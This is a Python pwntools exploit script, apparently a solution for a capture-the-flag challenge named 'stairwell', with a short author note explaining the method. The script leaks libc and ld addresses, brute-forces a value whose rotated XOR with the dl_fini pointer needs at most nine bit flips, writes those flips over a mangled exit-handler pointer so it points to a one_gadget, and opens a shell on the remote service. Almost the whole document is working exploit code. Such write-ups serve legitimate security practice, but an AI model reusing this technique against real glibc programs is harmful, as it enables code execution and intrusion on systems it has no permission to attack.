"""
One of the one_gadget constraints could not be satisfied because of the rcx condition. To handle this, I used a 1-bit libc patch to modify a gadget that sets rcx to 1, making it set rcx to 0 instead.

For the 9-bit modification, I brute-forced until ROL(one_gadget ^ dlfini, 0x11) became a 9-bit value, then wrote it to init+0x18.

- keto
"""

def ROL(data, shift, size=64):
    shift %= size
    remains = data >> (size - shift)
    body = (data << shift) - (remains << size )
    return (body + remains)
    

def ROR(data, shift, size=64):
    shift %= size
    body = data >> shift
    remains = (data << (size - shift)) - (body << size)
    return (body + remains)

def good(p,data,init):
    data = data >> 16
    d1 = data &0xff
    d2 = data &0xff00
    d3 = data &0xff0000
    d2=d2>>8
    d3=d3>>16
    for i in range(8):
        if(d1 & (1<<i)):
            p.recvuntil("X coordinate: ")
            p.sendline(hex(init + 0x18 + 2))

            p.recvuntil("Y coordinate: ")
            p.sendline(hex(i))
    for i in range(8):
        if(d2 & (1<<i)):
            p.recvuntil("X coordinate: ")
            p.sendline(hex(init + 0x18 + 3))

            p.recvuntil("Y coordinate: ")
            p.sendline(hex(i))

    for i in range(8):
        if(d3 & (1<<i)):
            p.recvuntil("X coordinate: ")
            p.sendline(hex(init + 0x18 + 4))
            p.recvuntil("Y coordinate: ")
            p.sendline(hex(i))
            


    
#attack:0x2a5a420000
from pwn import *

context.terminal = ['tmux', 'splitw', '-h']
filename = "./stairwell"
context.log_level = "debug"
def main():
    #p = process(["./ld-linux-x86-64.so.2", filename], env={"LD_PRELOAD": "./libc.so.6"})
    #p=remote("localhost",6008)
    p=remote("chall.polygl0ts.ch",6008)
    libc=ELF("./libc.so.6")

    for i in range(7):
        p.sendafter(">","\n")

    p.recvuntil("X coordinate: ")
    p.sendline("0x3e335")

    p.recvuntil("Y coordinate: ")
    p.sendline("0")
    p.sendafter(">","\n")
    p.sendafter(">","\n")
    p.sendafter(">","\n")
    p.sendafter(">","\n")
    p.sendafter(">","\n")
    p.sendafter(">","\n")
    p.sendafter(">","\n")
    p.recvuntil("You start seeing weird symbols.")
    p.sendafter(">","\n")
    libc_read =p.recvline()
    ld_address=p.recvline()
    libc_read = u64(libc_read.rstrip().ljust(8,b"\x00"))
    log.info(hex(libc_read))
    libc_base  = libc_read -  libc.symbols["read"]
    log.info(hex(libc_base))
    libc.address=libc_base
    ld_address = u64(ld_address.rstrip().ljust(8,b"\x00"))
    log.info(hex(ld_address))
    p.sendafter(">","\n")
    p.sendafter(">","\n")
    p.sendafter(">","\n")

    system = libc.symbols["system"]
    dlfini = ld_address+0x5c00-0x36000
    one_gadget = libc_base + 0xd8131

    log.info("one_gadget :" +hex(one_gadget))
    log.info("dlfini : "+hex(dlfini))
    init = libc_base + 0x1dbfa0
    #p.recvuntil("X coordinate: ")
    #p.sendline(p64(init + 0x18 + 4))

    #p.recvuntil("Y coordinate: ")
    #p.sendline("0")

    # 5개 확정  5개    4개        3은 2개     


    attack_val = ROL(one_gadget ^ dlfini, 0x11) 
    log.info("attack:" +hex(attack_val))
    count = (bin(attack_val).count("1"))
    print(count)
    if count <= 9:
        pause()
        print("success")
        good(p,attack_val,init)
        p.interactive()
    

    
    
    p.close()
for i in range(1000):
    main()
